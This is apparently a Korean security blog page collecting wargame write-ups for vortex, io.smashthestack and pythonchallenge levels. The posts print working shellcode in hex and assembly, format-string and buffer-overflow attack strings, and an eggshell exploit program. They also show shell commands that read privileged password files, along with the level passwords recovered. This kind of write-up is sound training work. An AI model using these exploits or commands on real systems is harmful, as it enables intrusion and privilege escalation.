Search results for 'War game'

  1. 2011.08.01 -- wechall.net
  2. 2011.04.18 -- vortex level10
  3. 2010.12.09 -- vortex level8
  4. 2010.10.27 -- pythonchallenge level 17 1
  5. 2010.01.21 -- level9
  6. 2010.01.21 -- level8
  7. 2010.01.19 -- level7
  8. 2010.01.19 -- level6
  9. 2010.01.19 -- level5 8
  10. 2010.01.18 -- level4 8

wechall.net

2011. 8. 1. 00:46
바이너리 관련된 문제들은 거의 다 풀었더니.. 
web, cryto 류의 문제들만 남았네요.
이쪽엔 영 실력도 자신도 없어서.. 

Gizmore가 관리를 하는지 웹에서 풀이를 찾기가 쉽지 않더군요,
그래서 저도 wechall.net에서 해결한 문제들은 writeup을 공개하지 않을 작정입니다. 

궁금하신 사항이 있으면 댓글로~

'War game > wechall.net' 카테고리의 다른 글

blinded by light  (0) 2011.09.26
Pimitive Encryption  (0) 2011.08.29
Flow Over Astronomy  (0) 2011.08.29
A Black Hats Tale  (0) 2011.08.16
Impossible n'est pas français  (0) 2011.08.10
Simply Red  (0) 2011.08.09
snake  (0) 2011.08.07
Agent Larry  (0) 2011.08.01
B.Aim  (0) 2011.08.01
thelasthope  (0) 2011.08.01

badcob War game/wechall.net

vortex level10

2011. 4. 18. 06:35


Vortex Level10에 대한 설명입니다.

Random?
          Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this.


"20개의 정수를 읽고 이 정수값을 생성하는 seed를 30초 안에 써라" 라고 하네요.

파일을 실행한 결과는  다음과 같습니다.



IDA F5 신공으로 보면,

   v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);

seed 를 생성하는 루틴에서 사용하는 함수들은 다음과 같습니다.

1) times function.

NAME
       times - get process times

SYNOPSIS
       #include <sys/times.h>

       clock_t times(struct tms *buf);

DESCRIPTION
       times()  stores  the  current process times in the struct tms that buf points to.  The struct tms is as defined in <sys/times.h>:

           struct tms {
               clock_t tms_utime;  /* user time */
               clock_t tms_stime;  /* system time */
               clock_t tms_cutime; /* user time of children */
               clock_t tms_cstime; /* system time of children */
           };

   times() 함수는 현재 프로세스 타임을 tms구조체에 되돌려줍니다.

     tms_utime는 프로세스가 호출한 명령을 수행하기 위해서 소비된 시간이다.
     tms_stime는 프로세스의 명령을 시스템차원에서 실행하는데 소비된 시간이다.
     tms_cutime은 종료된 모든 자식프로세스가 소비한 tms_utime이다.
     tms_cstime은 종료된 모든 자식프로세스가 소비한 tms_stime이다.

2) clock() function  - 프로그램이 실행된 후 경과한 Clock Tick을 반환

To get a process' CPU time, you can use the clock function. This facility is declared in the header file time.h. In typical usage, you call the clock function at the beginning and end of the interval you want to time, subtract the values, and then divide by CLOCKS_PER_SEC (the number of clock ticks per second) to get processor time, like this:

 #include <time.h>         
 clock_t start, end;    
 double cpu_time_used;         
 start = clock();     ... /* Do the work. */    
 end = clock();    
 cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;

3) time() function
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/unixtime

1970년 1월 1일(GMT)를 기준으로 지금까지 흐른 시간을 초 단위로 측정

위의 함수들을 조합해서 seed를 생성한 후에 rand() 함수로 값을 찍습니다.
이 루틴을 그대로 이용해서 level10으로  넘기면 될거 같네요.

처음엔 파일로 쓴 후에 읽게 했습니다. Local system 인 ubuntu 에서는 성공했지만
이 느려터진 vortex 시스템에선 계속 "None, try again" 만 뜨더군요.

파일로 쓰는 시간을 줄일 수 없을까 하다,  Pipe 를 이용해서 해결했습니다.
이 문제를 푼게 올해 초라서.. 지금 다시 돌려보니 깔끔하게 떨어지진 않네요 흑..
사용되는 연산이 적으면 아무래도 시스템 성능에 영향을 더 받겠죠?
File, Pipe 이외에 더 적은 연산을 수행하는 방법이 없을까요.

풀이에 사용한 코드 입니다.


 
#include <stdio.h>
#include <sys/times.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define LEVEL10 "/vortex/level10"

int main(void) 
{
    struct          tms buffer;
    clock_t         v1;
    int             num,tmp,i,j,pid;
    unsigned int    seed;
    int             buf[22] = {0}; 
    char            result[16] = {0};
    char            last[16] = {0}; 
    int             p[2] = {0};
    char            temp[4] = {0};
    char            response[256] = {0};
    //char            action[] = "ls -al > /tmp/result\n";
    char            action[] = "cat /etc/vortex_pass/vortex11 > /tmp/result\n";
    char            end[] = {0};

    v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);
    printf("seed : %d\n", seed);
    sprintf(result,"%x",seed);

    j=3;

    for (i=0;i<strlen(result); i=i+2) 
    {
        sprintf(temp,"%c%c",result[i],result[i+1]);
        last[j] = strtol(temp,NULL,16);
        j--;
     }
if 1
    srand(seed);

    setvbuf(stdout, 0, 2,0);

    for ( i = 0; i < tmp; ++i) {
        rand();
    }

    printf("[");
    for ( i = 0; i <= 19; ++i) {
        buf[i] = rand();
        printf(" %08x,", buf[i]);
    }

    printf("]\n");
#endif

    pipe(p);

    if((pid =fork()) == 0)
    {
        dup2(p[0],0);
        close(p[1]);
        execl("./level10","level10",NULL);
    }
    else
    {
        close(p[0]);
        write(p[1], last, strlen(last));
    }

    write(p[1], action, sizeof(action));
    sleep(1);
    write(p[1], end, sizeof(end));

    return 0;
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level8

2010. 12. 9. 01:21
분석한걸 대충 요약하면..
strcpy로 인해 BOF가 발생하는 unsafecode는 호출하기전에 권한설정이 현재 uid 인 510으로 설정되어
vortex9(511)의 쉘을 띄울 수가 없다. 어떻게 해야될까..

구글링을 하니 beist님이 쓰신 글이 가장 도움이 되었는데 간단히 말하면, 하나의 프로세스에서 .code 영역은 공유되므로 권한 설정 전에 호출되는 쓰레드의 코드를 직접 바꾸도록 쉘코드를 만드는 것이다.

음.. 좋아 쉘코드를 만들어 보자.

다음은 Writing shellcode for Linux and *BSD (http://www.kernel-panic.it/security/shellcode/)의 일부를 번역한 것이다.
--------------------------------------------------------------------------------------
CPU가 0x80 인터럽트를 받게되면 커널모드로 진입, IDT에서 적절한 핸들러를 얻어서 요청받은 함수를 실행한다.
System call number는 EAX에 저장되고, 함수 아규먼트는 (6개 까지) EBX, ECX, EDX, ESI, EDI, EBP 로 전달된다.
함수가 6개 이상의 아규먼트가 필요하면, 그것들을 구조체로 묶어서 첫번 째 아규먼트에 대한 포인터를 EBX에 저장한다

 
Syscall number 와 파라미터가 레지스터에 위치한 후에, 0x80 인터럽트가 실행된다. CPU는 커널모드에 진입하고,
System call을 수행한 후에 제어권을 사용자 프로세스에 반환한다.

System Call을 실행하기 위해 필요한 것은 다음과 같다.

1. Syscall Number를 EAX에 저장한다
2. Syscall 파라미터를 적절한 레지스터에 저장하거나
   파라미터를 포함하는 메모리 구조체를 만들어서 첫번 째 아규먼트의 포인터를 EBX 레지스터에 저장한다
3. 0x80 소프트웨어 인터럽트를 실행한다.

asm code에서 사용하는 system call number는 /usr/include/asm/unistd.h 에서 찾을 수 있다.

---------------------------------------------------------------------------------------------------

 

level8을 해결하기 위해 필요한 함수의 system call number는 아래와 같다.

#define __NR_execve           11
#define __NR_geteuid           49
#define __NR_setreuid           70
#define __NR_mprotect           125


먼저 핵심이 되는 mprotect.

#include <sys/mman.h>
 int mprotect(const void *addr, size_t len, int prot);

mprotect를 이용해 권한을 바꿀 주소를 살펴보자. 다음은 safecode를 디스어셈블한 내용이다.

0x08048564 <safecode+0>: push   %ebp
0x08048565 <safecode+1>: mov    %esp,%ebp
0x08048567 <safecode+3>: sub    $0x8,%esp
0x0804856a <safecode+6>: movl   $0x0,-0x4(%ebp)
0x08048571 <safecode+13>: sub    $0x8,%esp
0x08048574 <safecode+16>: pushl  -0x4(%ebp)
0x08048577 <safecode+19>: push   $0x8048708
0x0804857c <safecode+24>: call   0x8048464 <printf@plt>
0x08048581 <safecode+29>: add    $0x10,%esp
0x08048584 <safecode+32>: sub    $0xc,%esp
0x08048587 <safecode+35>: pushl  0x8049838
0x0804858d <safecode+41>: call   0x8048414 <fflush@plt>
0x08048592 <safecode+46>: add    $0x10,%esp
0x08048595 <safecode+49>: sub    $0xc,%esp
0x08048598 <safecode+52>: push   $0x1
0x0804859a <safecode+54>: call   0x8048444 <sleep@plt>
0x0804859f <safecode+59>: add    $0x10,%esp
0x080485a2 <safecode+62>: jmp    0x8048571 <safecode+13>

safecode 마지막에서 0x08048571로 반복되는 부분이 있다.  그러므로 0x08048571 부터 쉘코드를 덮어 씌운다면
jmp 문에 의해서 의도한 코드가 실행될 것이다.

처음에는 0x08048571 부분부터 코드 영역에 덮어씌울 쉘코드의 크기만큼만 권한을 바꾸려 했으나
테스트 결과 계속 세그 폴트가 났다. 으.. 영문을 모르겠어서 그냥 다음 영역 전체의 권한을 바꾸기로 했다.



따라서 mprotect는  대충 이런 모습으로 호출될 것이다.

mprotect(0x08048000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC);

mprotect는 앞서 나온 설명대로 ebx,ecx,edx에 각 파라미터를 집어넣고 0x7d로 인터럽트를 발생한다.

0x00124751 <mprotect+1>: mov    0x10(%esp),%edx
0x00124755 <mprotect+5>: mov    0xc(%esp),%ecx
0x00124759 <mprotect+9>: mov    0x8(%esp),%ebx
0x0012475d <mprotect+13>: mov    $0x7d,%eax
0x00124762 <mprotect+18>: int    $0x80

위의 정보를 토대로 asm으로 만들면

mov $0x7,%dl                  #read,write,exec 권한을 다 설정해주면 0x7로 들어간다.
mov $0x1010,%cx             #0x1000을 사이즈로 넣게되면 쉘코드에 널바이트가 있게된다.
xor %cl,%cl                    #0x1010을 넣어주고 1바이트를 xor 해줘서 0x1000을 만든다.
mov $0x08048010,%ebx     # 위와 마찬가지
xor %bl,%bl
mov $0x7d,%al                #mprotect의 syscall number 0x7d
int $0x80

최종 asm 코드는 다음과 같다.

main:
       jmp put_string

start:
        pop esi                        #stack에 들어있는 shellcode 주소를 esi에 넣는다.
        xor %eax,%eax              #사용하는 레지스터를 초기화
        xor %ebx,%ebx
        xor %ecx,%ecx
        xor %edx,%edx
        mov $0x7,%dl                 #mprotect 호출
        mov $0x1010,%cx
        xor %cl,%cl
        mov $0x08048010,%ebx
        xor %bl,%bl
        mov $0x7d,%al
        int $0x80
        xor %edx,%edx              #memcpy 전에 register 초기화
        xor %ecx,%ecx
        mov $0x08048571,%edi    #dest address를 edi에 넣는다.
        mov $0x31,%cl              #size를 ecx에 넣는다.
        mov %cl,%dl
        shr $0x2,%ecx
        cld
        rep movsd
        mov %edx,%ecx
        and $0x3,%ecx
        rep movsb

put_string:
        call start
        xor %eax,%eax
        xor %ebx,%ebx
        xor %ecx,%ecx
        mov $0x1ff,%cx             # vortex9의 uid 511을 넣는다.
        mov $0x1ff,%bx             
        mov $0x46,%al              
        int $0x80                      # setreuid(511,511);
        xor %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f          # /bin//sh 문자열을 만들어서
        mov %esp,%ebx           # ebx에 넣고
        push %eax              
        push %ebx
        mov %esp,%ecx           # 앞서 만든 문자열 주소를 ecx에 넣고  
        mov %eax,%edx           # NULL을 edx로
        mov $0xb,%al                   
        int $0x80                     # execve("/bin//sh", "/bin//sh", NULL)

위의 코드에서 뽑아낸 최종 쉘코드.

\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.

머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`

쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서..  ci41)GJhb


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

pythonchallenge level 17

2010. 10. 27. 11:51
푼지는 조금 됐지만 올려둔다.. 근 1년 여 만에 하다보니 전에 했던걸 다 잊어서 꽤나 고생했다.


 
import urllib, re, cookielib,urllib2,bz2,xmlrpclib

def get_page(number, extract):
    while 1:
        i = 0
        url = "http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing=%s" % number
        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        f = opener.open(url)
        file = f.read()
        extract.append(list(cj)[0].value)
        text = re.findall("next busynothing is \d+",file)
        if text:
                text_last = text[0]
                number_list = re.findall("[0-9]+",text_last)
                number = ''
                while 1:
                        number += number_list[i]
                        i +=1
                        if i == len(number_list): break
        else:
                text = re.findall("that", file)
                break
                                
num = 12345
txt = []
get_page(num,txt)
temp = urllib.unquote_plus(''.join(txt))
print bz2.BZ2Decompressor().decompress(temp)

name = 'Leopold'
proxy = xmlrpclib.ServerProxy('http://www.pythonchallenge.com/pc/phonebook.php')
print 'method %s' % (proxy.system.listMethods())
print 'phone number %s' % str(proxy.phone(name))

url = "http://www.pythonchallenge.com/pc/stuff/violin.php"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
f = opener.open(url)
file = f.read()
print file

info = 'the flowers are on their way'
req = urllib2.Request(url, headers={'cookie': 'info=' + urllib.quote_plus(info)})
print urllib2.urlopen(req).read()




http://www.pythonchallenge.com/pc/return/balloons.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge

level9

2010. 1. 21. 00:53

level9는 소스가 완전히 바뀌었네요.

int main(int argc, char **argv) {

    int  pad = 0xbabe;
    char buf[1024];
    strncpy(buf, argv[1], sizeof(buf) - 1);

    printf(buf);
   
    return 0;
}



마찬가지로 포맷 스트링입니다. DTOR_END를 이용했습니다.

DTOR_END  : 080494d4

shellcode : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

egg shell의 주소 : 0xbfffdce4

공격 스트링

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%8x%8x%8x"+"%56508c%n%58139c%n"'`

$-flag를 쓰면

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%4$56532x%5$n%6$58139x%7$n"'`

더 짧게 쓰면

/levels/level9 `python -c 'print "\xd4\x94\x04\x08\xd6\x94\x04\x08"+"%3$56540c%4$n%3$58139c%5$n"'`

기본적인 문제라 어렵지 않게 계산해서 한방에 해결.

pass : uawurxf5

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


level9의 소스입니다.. printf(buf);  포맷스트링이네요. 포맷스트링 버그는 잘 몰라서 시간이 좀 걸렸습니다.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        char buf[1024];
        strncpy(buf, argv[1], sizeof(buf) - 1);

        printf(buf);

        return 0;
}



몇일동안 날새고 난 휴우증 때문인지 1주일 동안 포맷스트링 어택에 대해서 틈틈히 읽어봤지만 좀처럼 정리가 되질 않더군요. 다행히도 비누님이 작성하신 문서를 보고 나니 먼가 감이 와서 다시 디벼봤습니다.

Format string attack 은 결국 "원하는 주소에 원하는 값을 덮어 씌우는 것" 입니다.

일반적으로 여기서 원하는 주소는 return address 이며 원하는 값은 shellcode의 주소 입니다.

return address 를 찾아봅시다. 스택프레임에서 ebp+4 의 위치에 return address 가 있을거라 생각됩니다.

(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0x418,%esp
......
(gdb) b *0x080483b5

Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /levels/level9

Breakpoint 1, 0x080483b5 in main ()

(gdb) info reg esp
esp            0xbfffdd48       0xbfffdd48

(gdb) x/12x 0xbfffdd48
0xbfffdd48:     0xbfffdd98      0x00b65ea8      0x00000001      0xbfffddc4
0xbfffdd58:     0xbfffddcc      0x00000000      0x00c7eff4      0x00000000
0xbfffdd68:     0x0046bcc0      0xbfffdd98      0xbfffdd50      0x00b65e6d

(gdb) x/12x 0x00b65ea8
0xb65ea8 <__libc_start_main+200>:       0xe8240489      0x00016570      0x3883d231      0xc2940f00
0xb65eb8 <__libc_start_main+216>:       0xffff4de9      0x3493ffff      0x8b000037      0x00372c83
0xb65ec8 <__libc_start_main+232>:       0x08fff000      0x31c2940f      0x75d284c0      0x2404c7d3





0xbfffdd4c 의 값이 return address 이므로 이곳에 우리가 올린 shellcode의 주소를 넣을수 있다면 원하는 코드를 실행 시킬 수 있을 것입니다.

shellcode는 eggshell 을 이용해서 환경변수에 올렸습니다. 버퍼가 충분해서 쉘코드를 바로 집어넣어도 될듯

level9@io:/tmp$ ./ppyo
Using address: 0xbfffdd08



0xbfffdd08 로 바꾸면되겠네요. bfffdd08 을 그대로 입력하면 3221216520 입니다. 너무 커서 2바이트씩 잘라서 넣습니다.

공격 스트링의 구성입니다.

AAAA \x4c\xdd\xff\xbf  BBBB \x4e\xdd\xff\bf  %8x%8x%8x         %c          %n          %c       %n

    4            4                    4                 4                   24            0xbfffdd4c              0xbfffdd4e
                                                                                                dd08                      bfff              

    


위와 같이 매칭을 해서 집어넣으려면 자리수를 만들어야합니다.

0xdd08 (56584) - 0x28 (40 = 4+4+4+4 +24) = DCE0 (56544)

0x1bfff (114687) - 0xdd08 (56584) = E2F7 (58103)


최종 공격 스트링입니다.

AAAA\x4c\xdd\xff\xbfBBBB\x4e\xdd\xff\bf %8x%8x%8x%56544c%n%58103c%n

자신만만하게 시도했지만 세그 폴트가 나더군요. gdb 상에서 리턴어드레스와 실제 리턴 어드레스는 차이가  난다라는 비누님의 조언과 Null@Root의 Willy 님이 쓰신 글(http://ttongfly.net/zbxe/?document_srl=42560&mid=systemhack&listStyle=&cpage=)을 보고 리턴어드레스를 추측해서
아래의 쿼리로 쉘을 얻을 수 있었습니다. (0x10씩 바꿔서 해봤습니다.)

./level9 `perl -e 'print "AAAA\x3c\xd5\xff\xbfBBBB\x3e\xd5\xff\xbf%8x%8x%8x%56544c%n%58103c%n"'`

sh-3.1$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9)

sh-3.1$ cat /home/level10/.pass
xe0dogrh



'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level8

2010. 1. 21. 00:52

  level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요. 

이전엔 do_the_nasty 함수의 ret를  덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.

사용한 exploit. (pass : ynfbxd6t)


#include 
#include 
#include 

#define NOP 0x90
#define TARGET "/levels/level8"

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

unsigned long get_esp(void)
{
  __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
  char *cmd1, *cmd2;
  char *ptr, *egg;
  long *addr_ptr, addr;
  int  size1=32, size2=112;
  int i;

  if (!(cmd1 = malloc(size1))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  if (!(cmd2 = malloc(size2))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  
  if (!(egg = malloc(2048))) {
    printf("Can`t allocate memory.\n");
    exit(0);
  }

  addr = get_esp();

  printf("Using address: 0x%x\n", addr);

  ptr = cmd1;

  for (i = 0; i < size1; i++)
    *(ptr++) = '\x90';

  ptr = cmd2;
  *(ptr++) = NOP;
  addr_ptr = (long *) ptr;

  for (i = 0; i < size2; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for(i = 0; i < 2048 - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[2048 - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);

  execl(TARGET,"level8",cmd1,cmd2,NULL);
}

--------------------------------------------------------------------
#include <string.h>

// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope

void do_the_nasty(char *argv[])
{
    char buf[32];
    strncpy(buf, argv[1], sizeof(buf));
    strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}

int main(int argc, char *argv[])
{
    do_the_nasty(argv);
    return 0;
}


level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.


level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x1'`

level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x2'`
Segmentation fault

다행입니다.  흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니.. 
환경변수를 이용해야겠군요.


우선 디스어셈블된 코드를 확인했습니다.


(gdb) disas do_the_nasty
Dump of assembler code for function do_the_nasty:
0x08048394 <do_the_nasty+0>:    push   %ebp
0x08048395 <do_the_nasty+1>:    mov    %esp,%ebp
0x08048397 <do_the_nasty+3>:    push   %edi
0x08048398 <do_the_nasty+4>:    sub    $0x34,%esp                  52만큼 스택을 확장
0x0804839b <do_the_nasty+7>:    mov    0x8(%ebp),%eax
0x0804839e <do_the_nasty+10>:   add    $0x4,%eax                   
0x080483a1 <do_the_nasty+13>:   mov    (%eax),%eax                  argv[1]의 주소를 eax로
0x080483a3 <do_the_nasty+15>:   movl   $0x20,0x8(%esp)                   32를 esp + 8로
0x080483ab <do_the_nasty+23>:   mov    %eax,0x4(%esp)                   argv[1]의 주소를 esp+4로
0x080483af <do_the_nasty+27>:   lea    0xffffffdc(%ebp),%eax              
0x080483b2 <do_the_nasty+30>:   mov    %eax,(%esp)                   ebp-36을 esp로  
0x080483b5 <do_the_nasty+33>:   call   0x80482c8 <strncpy@plt>      strncpy( ebp-36, argv[1], 32);
......

52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는 

buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.


                
 egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.

level8@io:/tmp$ ./ppp
Using address: 0xbfffdd18

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Segmentation fault


스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.

(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Breakpoint 1, 0x080483fa in do_the_nasty ()

(gdb) info reg
eax            0xbfffd4e4       -1073752860
ecx            0xbfffd512       -1073752814
edx            0x3ffffffc       1073741820
ebx            0x4a4ff4 4870132
esp         0xbfffd4d0     xbfffd4d0
ebp            0xbfffd508       0xbfffd508
esi            0x0      0
edi            0xbfffd508       -1073752824
eip            0x80483fa        0x80483fa <do_the_nasty+102>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/60x 0xbfffd4d0

0xbfffd4d0:     0xbfffd4e4      0xbfffd6b3      0xfffffffc      0x003da80e
0xbfffd4e0:     0xbfffd4e4      0x90909090   0x90909090   0x90909090
0xbfffd4f0:     0x90909090   0x90909090  0x90909090   0x90909090
0xbfffd500:     0x90909090   0x18bd2cc0   0x18bfffdd      0x18bfffdd
0xbfffd510:     0x00bfffdd      0xbfffd530      0xbfffd578      0x0038bea8
0xbfffd520:     0x00000000      0x00bd2cc0      0xbfffd578      0x0038bea8
0xbfffd530:     0x00000003      0xbfffd5a4      0xbfffd5b4      0x00000000
0xbfffd540:     0x004a4ff4      0x00000000      0x00bd2cc0      0xbfffd578
0xbfffd550:     0xbfffd530      0x0038be6d      0x00000000      0x00000000
0xbfffd560:     0x00000000      0x00bc8090      0x0038bded      0x00bd2ff4
0xbfffd570:     0x00000003      0x080482f0      0x00000000      0x08048311
0xbfffd580:     0x08048400      0x00000003      0xbfffd5a4      0x08048480
0xbfffd590:     0x08048430      0x00bc8c40      0xbfffd59c      0x00bd34e4
0xbfffd5a0:     0x00000003      0xbfffd683      0xbfffd692      0xbfffd6b3
0xbfffd5b0:     0x00000000      0xbfffd6c0      0xbfffd6d0      0xbfffd6db
(gdb)




붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의 
원하는 주소값이 제대로 안들어 갑니다. 

따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x90","\x18\xdd\xff\xbf"x3'`

sh-3.1$ id

uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cat /home/level9/.pass
apt2tute



'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level7

2010. 1. 19. 06:01


level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm....no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}

check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니


level7@io:/levels$ ./level7 -1

sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)

sh-3.1$ cat /home/level8/.pass
ca1fiase     > zkq5xlnh

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level6

2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




